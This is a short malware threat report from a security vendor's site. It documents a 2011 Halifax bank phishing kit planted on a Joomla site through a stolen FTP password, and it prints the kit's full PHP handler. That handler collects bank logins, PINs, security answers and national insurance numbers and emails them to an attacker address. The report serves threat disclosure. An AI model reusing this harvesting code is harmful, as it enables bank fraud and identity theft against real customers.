NinTechNet
NinjaFirewall
WP+ Edition
for WordPress websites
Pro+ Edition
for PHP websites
NinjaScanner
Code Profiler
Blog
Log In
Malware Threats Report #201109011
Date
2011-09-01
Type
Phishing (Halifax)
Target
Joomla
Vulnerability
Stolen FTP password
Malware Code
<? session_start(); $cc="leoochei@gmail.com"; $Username = $_POST['Username']; $Password = $_POST['Password']; $ip = getenv("REMOTE_ADDR"); $adddate=date("D M d, Y g:i a"); $Fschool = $_POST['fschool']; $Email = $_POST['emad']; $EmailPas = $_POST['emad1']; $POB = $_POST['pob']; $MFname = $_POST['mfname']; $FFname = $_POST['ffname']; $Mmdname = $_POST['mmdname']; $DTPSN = $_POST['DTPSN']; $telpass = $_POST['telpass']; $mwrd = $_POST['mwrd']; $mwrd2 = $_POST['mwrd2']; $nis = $_POST['nis']; $SQ = $_POST['sq']; $ANS = $_POST['ans']; $subj = "halifax"; $msg = "First Page\n\nUsername: $Username\nPassword: $Password\n\nSecond Page\n\nThe name of your first school: $Fschool\nYour place/town of birth : $POB\nYour mother's FIRST name: $MFname\nYour father's FIRST name: $FFname\nYour mother's maiden name: $Mmdname\nSecurity Question: $SQ\nAnswer: $ANS\nEmail Address: $Email\nEmail Password: $EmailPas\n6 Digits Telephone Banking PIN: $DTPSN\nTelephone Banking Password: $telpass\nMemorable Info: $mwrd \nMemorable Info: $mwrd2 \nNat-Ins-Numb: $nis \n\nSubmitted from IP Address - $ip on $adddate\n-------\n Created By Vince\n------"; $from = "From: Shaun Halifax"; mail("$halifax", $subj, $msg, $from); mail("$cc", $subj, $msg, $from); header("Location:finish.php?&Mid=8007_1944504_80296_1758_3472_0_825_16178_712264114&inc=&Search=&YY=20774&order=down&sort=date&pos=0&view=a&head=b#"); ?>
NinjaFirewall WP+
Features
Pricing
FAQ
Free Download
NinjaFirewall Pro+
Features
Pricing
FAQ
Free Download
NinjaScanner
Features
Pricing
FAQ
Free Download
Code Profiler
Features
Pricing
FAQ
Free Download
NinTechNet
Blog
About Us
News Coverage
Contact
Privacy Policy
Refund Policy
© 2024 The Ninja Technologies Network
Twitter
Facebook